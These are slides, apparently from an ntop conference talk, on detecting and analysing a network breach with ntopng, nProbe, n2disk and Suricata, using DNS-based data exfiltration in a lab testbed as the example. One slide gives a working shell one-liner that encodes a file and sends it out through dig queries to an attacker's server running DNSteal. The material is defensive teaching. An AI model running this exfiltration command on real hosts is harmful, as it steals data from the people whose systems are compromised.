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Incident Response 
Using the ntop Suite's Latest Features to 

Analyze a Network Breach
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In This Session
• Select a security incident case 

• Analyze the Network architecture 

• Choose what/where to put in place to detect threats 

• Configure the Software 

• Get notified about attacks 

• Analyze the breach
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Software We Will Use
ntopng 

nProbe (Agent) 

n2disk (with Smart Recording) 

Suricata 

Wireshark 

nBox UI 

nDPI 

PF_RING
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Example: Data Exfiltration
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Data Exfiltration on DNS
• The DNS protocol is usually: 

• Allowed 

• Not inspected 

• Used by several types of attacks: 

• Tunneling (e.g. DNScat) 

• Data exfiltration (e.g. DNSteal)
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Data Exfiltration on DNS

Firewall 
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Authoritative 
DNS Server 
for steal.net2D9cS8el3LcW5.steal.net
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Typical Corporate Deployment
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ntopng on Mirror
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nProbe on Mirror
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nProbe Agents
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Traffic Recording
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Intrusion Detection Systems
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Full-Fledged Monitoring
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Software Configuration 
(Live Demo)
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Smart Recording

Cache

(Short Retention)

Archive

(Long Retention)

nDPI Suricata

ntopng
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Recording

Events
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Incident Simulation 
(Live Demo)
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Data Exfiltration with DNSteal
• DNSteal is a (simple) fake DNS server that allows 

you to export files through DNS requests 

• No special binary required on the victim, just dig as 
DNS client, sed, gzip and base64 for the encoding 

• Gzip-compressed files 

• Customization of subdomains
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Testbed

Compromised 
Host Attacker's 

Server

DNS A Query 
2D9cS8el3LcW5.data.txt

devele 
192.168.2.134

ubuntu 
192.168.2.221
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DNSteal Example
• Server (Attacker) 

• Client (Victim)
$ f=data.txt; s=4;b=57;c=0; for r in $(for i in $(gzip -c $f| 
base64 -w0 | sed "s/.\{$b\}/&\n/g");do if [[ "$c" -lt "$s"  ]]; 
then echo -ne "$i-."; c=$(($c+1)); else echo -ne "\n$i-."; c=1; fi; 
done ); do dig @192.168.2.221 `echo -ne $r$f|tr "+" "*"` +short 
+noidnin +noidnout; done

$ sudo python2 dnsteal.py 192.168.2.221 -z -v
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Testbed
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ubuntu 
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Telegram Notification

Note: 

1.An alert from Suricata is received and notified by 
ntopng (severity: Error) 

2.An alert from ntopng is produced combining the 
flow risks with the Suricata alert, augmenting the 
score (severity: Emergency)
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Alerts Explorer
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Thank you


